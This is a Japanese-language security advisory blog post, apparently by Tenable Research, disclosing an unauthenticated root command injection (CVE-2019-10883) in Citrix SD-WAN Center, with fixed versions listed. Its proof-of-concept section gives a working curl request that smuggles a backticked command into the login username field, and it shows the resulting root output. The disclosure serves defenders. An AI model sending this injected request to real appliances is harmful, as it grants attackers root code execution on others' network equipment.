Tenable ブログ
ブログ通知を受信する
Citrix SD-WAN CenterのOSに深刻なコマンドインジェクションの脆弱性が発見
Tenable ResearchはCitrix SD-WAN Centerにリモートでコードが実行される可能性がある重大な脆弱性を発見しました。
背景
4月10日、Citrixは 10.2.1より前のCitrix SD-WANセンター10.2.xおよび10.0.7より前のNetScaler SD-WANセンター10.0.xにおけるオペレーティングシステム（OS）コマンドインジェクションの脆弱性（CVE-2019-10883）についてのセキュリティ情報を公開しました。Tenable ResearchはCVE-2017-6316のプラグインを開発中にこの脆弱性を発見し、Citrixに報告しました。
Citrix Netscaler SD-WAN（ソフトウェア定義の広域ネットワーク）を使用すると、企業はネットワークを管理し、仮想WANを作成できます。これらの種類の製品は、支店やリモートデータセンターをサポートし、クラウドベースのアプリケーションの接続性を維持するために使用されます。CitrixのWebサイトによると、Netscaler SD-WANは海運、非営利、ホスピタリティなどの業界で使用されています。
分析
Tenable ResearchはCTX236992を調査している間、このセキュリティ情報に含まれた脆弱性のほとんどが認証を必要とすることを確認しました。私たちは、Nessusプラグインを作成する際、CTX236992の研究者が記事に記載した2つの認証されていないコマンドインジェクションの脆弱性を調べました。 これらの脆弱性は、Citrix SD-WANアプライアンスの脆弱性であるCVE-2017-6316に関連していると考えられます。
CVE-2017-6316の調査により、Citrix SD-WAN Center 10.2.0.136.733315が/home/talariuser/www/app/Controller/UsersController.php にあるコントローラーのユーザー指定データ（$ username）の検証が不十分であることが脆弱性の原因であることが判明されました(CVE-2019-10883)。
概念実証
認証されていないリモートの攻撃者はこの脆弱点を悪用して、root権限で任意のコマンドを実行することができます。これは、次のcURLコマンドを実行することによって実現できます。
curl -skv --tlsv1.2 -d '_method=POST&data%5BUser%5D%5Busername%5D=%60sudo%20id%20>/tmp/test%60&data%5BUser%5D%5Bpassword%5D=my_password&data%5BUser%5D%5BsecPassword%5D=my_secPassword' 'https://[target_host]/login'
このコマンドを実行した結果の出力は次のとおりです。
root@VWC:/home/talariuser/www/app/Controller# cat /tmp/test
uid=0(root) gid=0(root) groups=0(root)
ベンダー応答
Tenable Researchは2月上旬にCitrixに報告し、2月末までに脆弱性が再現されたことを確認しました。Citrixは4月10日、この脆弱性に関するセキュリティ情報を公開しました。
ソリューション
ユーザーはCitrix SD-WAN Center 10.2.1以降およびNetScaler SD-WAN Center 10.0.7以降にアップグレードする必要があります。さらに、CitrixはSD-WANセンターのセキュリティを強化するために使用すべきベストプラクティスのリストを提供しました。
詳細情報
現代のアタックサーフェスを総合的に管理する Cyber Exposure Platform を初めて提供した Tenable について詳細情報をご覧ください。
今すぐ Tenable.io Vulnerability Management の60日間無料トライアルをお試しください。
関連記事
Cybersecurity Snapshot: Find MITRE ATT&CK Complex? Need Help Mapping to It? There’s an App for That!
March 10, 2023Learn about a new tool that streamlines MITRE ATT&CK mapping. Plus, known vulnerabilities remain a major cyber risk – just ask LastPass. Also, discover why SaaS data protection remains difficult. Plus, a look at the U.S. National Cybersecurity Strategy. And much more!
The Ransomware Ecosystem: In Pursuit of Fame and Fortune
July 28, 2022The key players within the ransomware ecosystem, including affiliates and initial access brokers, work together cohesively like a band of musicians, playing their respective parts as they strive for fame and fortune.
Brazen, Unsophisticated and Illogical: Understanding the LAPSUS$ Extortion Group
July 20, 2022Having gained the industry’s attention in the first months of 2022, the LAPSUS$ extortion group has largely gone quiet. What can we learn from this extortion group’s story and tactics?
Cybersecurity Snapshot: Latest MITRE ATT&CK Update Offers Security Insights on GenAI, Identity, Cloud and CI/CD
April 26, 2024Check out what’s new in Version 15 of the MITRE ATT&CK knowledge base of adversary tactics, techniques and procedures. Plus, learn the latest details about the Change Healthcare breach, including the massive scope of the data exfiltration. In addition, why AI cyberthreats aren’t impacting CISOs’ budgets. And much more!
CVE-2024-20353, CVE-2024-20359: Frequently Asked Questions About ArcaneDoor
April 25, 2024Frequently asked questions about CVE-2024-20353 and CVE-2024-20359, two vulnerabilities associated with “ArcaneDoor,” the espionage-related campaign targeting Cisco Adaptive Security Appliances.
CVE-2024-4040: CrushFTP Virtual File System (VFS) Sandbox Escape Vulnerability Exploited
April 23, 2024A zero-day vulnerability in CrushFTP was exploited in the wild against multiple U.S. entities prior to fixed versions becoming available as the vendor recommends customers upgrade as soon as possible.
- Threat Intelligence
- Threat Management
- Vulnerability Management
- Vulnerability Scanning